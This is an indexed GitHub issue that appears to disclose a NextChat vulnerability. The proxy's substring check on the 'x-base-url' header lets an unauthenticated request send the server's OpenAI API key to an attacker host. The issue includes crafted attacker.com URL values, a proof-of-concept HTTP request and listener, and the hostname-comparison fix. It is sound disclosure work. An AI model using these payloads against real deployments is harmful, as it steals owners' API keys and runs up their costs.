ChatGPTNextWeb / ChatGPTNextWeb/NextChat
Server OpenAI API Key Exfiltration via Incomplete URL Substring Check in Proxy Handler
- Dominant language
- TypeScript
- Stars
- 88.8k
- Forks
- 59.1k
- PR merge metrics
- No merged PRs in 30d
Description
### π¦ Deployment Method
Docker
### π Version
v2.16.1
### π» Operating System
Other
### π System Version
-
### π Browser
Other
### π Browser Version
-
### π Bug Description
reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-rfph-4473-623x - no response
### Summary
The proxy handler in `app/api/proxy.ts` uses a substring check (`baseUrl?.includes("api.openai.com")`) to decide whether to inject the server's configured `OPENAI_API_KEY` into outbound request headers. Because the check is a plain string containment test rather than URL hostname comparison, an attacker can supply any URL that contains `api.openai.com` as a query parameter or path component (e.g., `http://attacker.com?q=api.openai.com`) to cause the server to inject its API key and forward it to the attacker-controlled host. No authentication is required.
### Details
`app/api/proxy.ts` contains the following logic (lines 37-46):
```typescript
const baseUrl = req.headers.get("x-base-url");
if (baseUrl?.includes("api.openai.com")) {
if (!serverConfig.apiKey) {
return NextResponse.json(
{ error: "OpenAI API key not configured" },
{ status: 500 },
);
}
headers.set("Authorization", `Bearer ${serverConfig.apiKey}`);
}
```
The intent is to inject the server's OpenAI API key when the request is destined for the real OpenAI API. However, `String.prototype.includes()` checks for substring occurrence anywhere in the string. As a result, any of the following values for `x-base-url` satisfy the check while pointing to an attacker-controlled host:
- `http://attacker.com?q=api.openai.com`
- `http://attacker.com/path/api.openai.com/anything`
- `http://attacker.com#api.openai.com`
The proxy handler then makes a server-side request to the attacker-controlled URL with the header `Authorization: Bearer `. The attacker receives the server's real API key.
This is compounded by the absence of any authentication check in `proxy.ts`: neither an access code nor a user-supplied API key is required.
The correct check would compare the parsed hostname of the URL:
```typescript
const parsedUrl = new URL(baseUrl);
if (parsedUrl.hostname === "api.openai.com") { ... }
```
CodeQL query `js/incomplete-url-substring-sanitization` independently flags this code path.
### PoC
Prerequisites: a running NextChat instance with `OPENAI_API_KEY` configured and `yidadaa/chatgpt-next-web:latest` Docker image. `CODE` environment variable may be set; it does not affect this route.
Start a listener that logs incoming headers:
```bash
# Flask listener (logs full headers in response body)
python3 -m flask run --host=0.0.0.0 --port=9999
```
Or any HTTP server that returns the received headers in the response body.
Send an unauthenticated request with a crafted `x-base-url`:
```
GET /api/anyprov/testpath HTTP/1.1
Host: :3000
x-base-url: http://:9999?q=api.openai.com
```
The attacker's server receives:
```json
{
"headers": {
"Authorization": "Bearer sk-proj-",
"Host": ":9999",
...
},
"path": "/",
"ssrf": "confirmed"
}
```
Live validation was performed on commit 89b8f26 (v2.16.1). The configured API key `sk-test-dummy-key-for-ssrf-research` appeared verbatim in the `Authorization` header received at the attacker-controlled Flask server.
### Impact
An unauthenticated attacker can steal the deployment's `OPENAI_API_KEY` by sending a single HTTP request with a crafted `x-base-url` header. With the key they can make arbitrary OpenAI API calls at the deployment owner's expense. Access-code protection does not mitigate this, as `proxy.ts` performs no authentication.
This affects any NextChat deployment that has `OPENAI_API_KEY` configured, which is the normal configuration for self-hosted instances.
### π· Recurrence Steps
_No response_
### π¦ Expected Behavior
_No response_
### π Additional Information
_No response_
Contributor guide
No contributing guide indexed for this repository
Research direction
Start in app/api/proxy.ts, especially the handler around the x-base-url check and Authorization header injection. Reproduce the crafted URL behavior described in the issue, then verify that only the real OpenAI hostname receives the configured key and attacker-controlled URLs do not. No test file is named in the report.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- nextjs, typescript
- Domain
- api, backend, security
- Issue type
- Bug
- Difficulty
- 2/5
- Estimated time
- 1-3 hours
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 48/100